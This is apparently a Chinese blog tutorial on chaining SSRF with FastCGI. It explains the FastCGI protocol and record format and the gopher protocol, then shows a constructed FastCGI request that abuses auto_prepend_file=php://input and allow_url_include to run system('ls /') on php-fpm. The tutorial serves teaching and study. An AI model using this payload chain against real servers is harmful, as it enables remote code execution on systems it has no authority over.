SSRF_FastCGI
SSRF_FastCGI
FastCGI协议
简介
Fast CGI源自旧版本的CGI
路由/结构图
# 访问url --> 浏览器生成HTTP请求报文 --> web server解析请求(例如nginx)
web server 是内容的分发者
当访问静态页面时,web server 会直接返回资源,例如index.html
当访问动态页面时,web server 会调用解析器,例如index.php
# --> 访问CGI
# --> CGI初始化环境,加载配置,处理请求,返回资源,结束进程 (每次处理请求后都会销毁进程,浪费资源)
旧版本的CGI性能低下,无法应用在高并发的场景,FastCGI应运而生
FastCGI也是一种通信协议(类似HTTP协议),采用CS架构,web server 为客户端---发送请求,动态语言解析器 为服务端---处理请求
路由/结构图
# 访问url --> 浏览器生成HTTP请求报文 --> web server解析请求(例如nginx)
当访问index.php时,web server 会把HTTP请求转换为FastCGI请求
# --> 转换为FastCGI协议格式
并发送给解析器,这里以php为例
# --> 发送至php-fpm process manager
php-fpm接收到请求后,把请求分配给一个worker,worker就是一个解析服务的进程(一直运行),worker根据请求信息,解析php,返回页面
例如,招新平台运行了15个worker,(不考虑nginx处理时间)同时可以处理15个请求
# --> php-fpm解析并响应
对比图

FastCGI报文格式
定义
typedef struct {
unsigned char version; //版本
unsigned char type; //类型
unsigned char requestIdB1; //请求Id
unsigned char requestIdB0;
unsigned char contentLengthB1; //负载长度
unsigned char contentLengthB0;
unsigned char paddingLength; //填充长度
unsigned char reserved; //保留字节
unsigned char contentData[contentLength]; //负载数据
unsigned char paddingData[paddingLength]; //填充数据
} FCGI_Record;
构造出的执行
ls /命令的FastCGI请求( 调整过格式,不标准)CONTENT_LENGTH 34 # 内容长度
CONTENT_TYPE application/text # 内容格式
REMOTE_PORT 9985 # 请求端口
SERVER_NAME localhost # server名
GATEWAY_INTERFACE FastCGI/1.0 # API
SERVER_SOFTWARE php/fcgiclient # server端 软件
REMOTE_ADDR 127.0.0.1 # 请求ip
SCRIPT_FILENAME /var/www/html/index.php # 脚本文件名
SCRIPT_NAME /var/www/html/index.php # 脚本名
PHP_VALUE auto_prepend_file = php://input
REQUEST_METHOD POST # 请求方法
SERVER_PORT 8 # server端口
SERVER_PROTOCOL HTTP/1.1 # server 协议
QUERYDOCUMENT_ROOT / # 请求文件根目录
IN_VALUE allow_url_include = On # 设置 允许url包含
SERVER_ADDR 127.0.0.1 # server ip
REQUEST_URI /var/www/html/index.php # 请求资源 "<?php var_dump(system('ls /')); ?>" # 内容
SSRF
简介
- SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造的,由服务端发起请求的漏洞。
- 利用不安全的配置,构造可以访问内网的请求
- 例如:
/secret.php是外网无法访问的http://xxx.xxx/?url=http://127.0.0.1/example.php,该链接会使用curl构造请求,访问/var/www/html/secret.php文件,如果配置不当,就可以利用GET参数url,构造请求访问内网资源- 假如内网的3000端口有管理系统,则可以通过
?url=http://127.0.0.1:3000进行访问
- 例如:
ssrf万金油----gopher
gopher是被http替代掉的老协议
协议格式
gopher://IP:PORT/_+TCP/IP数据例如
http请求:
http://127.0.0.1/index.php?test=123http请求包
GET /index.php?test=123 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
gopher请求:
gopher://127.0.0.1:80/_GET%20index.php?test=123%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%37%34%2e%30%2e%33%37%32%39%2e%31%36%39%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a%0d%0a- 这是HTTP请求包的url编码
- gopher会访问指定IP(上面是127.0.0.1)的指定端口(上面是80,http默认端口),并传递
_之后的数据
也就是说,如果能使用gopher协议,那么只需要构造我们要用到的协议的请求数据(比如上面的HTTP),就可以实现访问
ssrf + fastcgi
- 如果目标服务器使用的是php,并且存在ssrf,那么就可以构造FastCGI请求报文,直接让php解析服务进行解析,进而执行任意代码
- 之前构造出的执行
ls /的FastCGI请求中,关键部分
PHP_VALUE auto_prepend_file = php://input
# 把auto_prepende_file的内容设置为 php://input http post body
# auto_prepende_file 会在解析指定php文件之前包含(可以理解为执行)
# php://input的内容为POST请求的body
IN_VALUE allow_url_include = On # 设置 允许url包含 使php://input被允许执行
REQUEST_URI /var/www/html/index.php # 请求资源
"<?php var_dump(system('ls /')); ?>" # 内容 post body
会在解析
index.php之前,包含(执行)php://input的内容<?php var_dump(system('ls /')); ?>这样,就可以使用ssrf+fastcgi执行任意代码了
参考
SSRF_FastCGI的更多相关文章
随机推荐
- JS的this指向深入
this指向深入 this的绑定规则 默认绑定 this默认指向了window 全局环境下this指向了window 函数独立调用,函数内部的this也指向了window <script> ...
- css整理之-----------技巧、黑魔法
css 看起来比较简单,但是要想做的好也不是那么容易,我们在平时开发中,主要用css 来美化我们的html结构,所有我觉得css 还是挺重要的,这里记录整理一些关于css 的技巧以及容易忘记的知识点. ...
- ES6学习笔记(1)- 块级作用域
1. var声明变量和变量提升(Hoisting)机制的问题 在JS中通过var关键字声明的变量,无论在函数作用域中亦或是全局作用域中,都会被当成当前作用域顶部的变量,和就是所谓的提升机制(Hoist ...
- 一个通用驱动Makefile-V2-支持编译多目录
目录 前言 1. 特点 2. 分析 2.1 简要原理 2.2 具体分析 3. 源码 前言 该 Makefile 已经通过基于内核 Linux5.4 版本验证通过. 因为编写这通用驱动 Makefile ...
- gtk+2.0中函数set_widget_font_size()函数在编译时未定义的解决办法
自己写一个头文件即可,代码如下: 在.c文件中包含该头文件即可
- Vulkan移植GpuImage(二)Harris角点检测与导向滤波
Harris角点检测 UI还是用的上次扣像的,只有前后置可以用,别的没有效果,只看实现就好. 相应源码 在实现之前,我先重新整理编译glsl的生成工具,如Harris角点检测中间计算过程需要针对rgb ...
- [go-linq]-Go的.NET LINQ式查询方法
关于我 我的博客|文章首发 开发者的福音,go也支持linq了 坑爹的集合 go在进行集合操作时,有很不舒服的地方,起初我真的是无力吐槽,又苦于找不到一个好的第三方库,只能每次写着重复代码.举个栗子 ...
- CVPR2021| 行人搜索中的第一个anchor-free模型:AlignPS
论文地址:https://arxiv.org/abs/2103.11617 代码地址:https://github.com/daodaofr/AlignPS 前言: 本文针对anchor-free模型 ...
- Vue3教程:Vue 3 + Element Plus + Vite 2 的后台管理系统开源啦
之前发布过一篇文章<Vue3教程:开发一个 Vue 3 + element-plus 的后台管理系统>,文中提到会开发并开源一个 Vue 3 + Element Plus 的项目供大家练手 ...
- C++实现控制台学生学籍管理系统
操作流程 创建文件 创建管理类 管理类负责的内容如下: 提供与用户的沟通菜单界面 实现对职工增删改查的操作 数组数据与文件的读写交互 菜单功能实现 在StudentManager.h中定义Show ...